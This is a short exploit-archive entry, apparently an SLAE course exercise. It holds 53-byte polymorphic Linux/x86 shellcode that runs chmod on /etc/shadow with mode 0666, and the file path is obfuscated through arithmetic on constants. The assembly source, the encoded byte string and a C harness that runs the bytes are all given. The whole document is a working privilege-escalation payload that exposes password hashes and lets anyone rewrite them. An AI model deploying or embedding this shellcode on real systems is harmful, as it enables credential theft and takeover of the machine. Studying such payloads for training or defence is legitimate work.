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Linux/x86 chmod(/etc/shadow, 0666) Polymorphic Shellcode (53 bytes)
[#---------------------- DESCRIPTION -------------------------------------#
; Title: chmod(“/etc/shadow”, 0666) and exit for Linux/x86 - Polymorphic
; Author: Daniel Ortiz
; Tested on: Linux 4.18.0-25-generic #26 Ubuntu
; Size: 53 bytes
; SLAE ID: PA-9844
#---------------------- ASM CODE ------------------------------------------#
SECTION .data
EXIT_CALL equ 1
CHMOD_CALL equ 15
SECTION .text
global _start
_start:
nop
cdq
push byte CHMOD_CALL
pop eax
push edx
push byte 0x77
push word 0x6f64
mov esi, 0x222933f0
add esi, 0x3f3f3f3f
push esi
xor esi, esi
mov esi, 0x243525f0
add esi, 0x3f3f3f3f
push esi
xor esi, esi
mov ebx, esp
push word 0666Q
pop ecx
int 0x80
mov al, EXIT_CALL
int 0x80
#------------------------- final shellcode ----------------------------------------#
unsigned char buf[] =
"\x90\x99\x6a\x0f\x58\x52\x6a\x77\x66"
"\x68\x64\x6f\xbe\xf0\x33\x29\x22\x81"
"\xc6\x3f\x3f\x3f\x3f\x56\x31\xf6\xbe"
"\xf0\x25\x35\x24\x81\xc6\x3f\x3f\x3f"
"\x3f\x56\x31\xf6\x89\xe3\x66\x68\xb6"
"\x01\x59\xcd\x80\xb0\x01\xcd\x80";
#------------------------- usage --------------------------------------------------#
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x90\x99\x6a\x0f\x58\x52\x6a\x77\x66\x68\x64\x6f\xbe\xf0\x33\x29\x22\x81\xc6\x3f\x3f\x3f\x3f\x56\x31\xf6\xbe\xf0\x25\x35\x24\x81\xc6\x3f\x3f\x3f\x3f\x56\x31\xf6\x89\xe3\x66\x68\xb6\x01\x59\xcd\x80\xb0\x01\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
# 0day.today [2024-11-15] #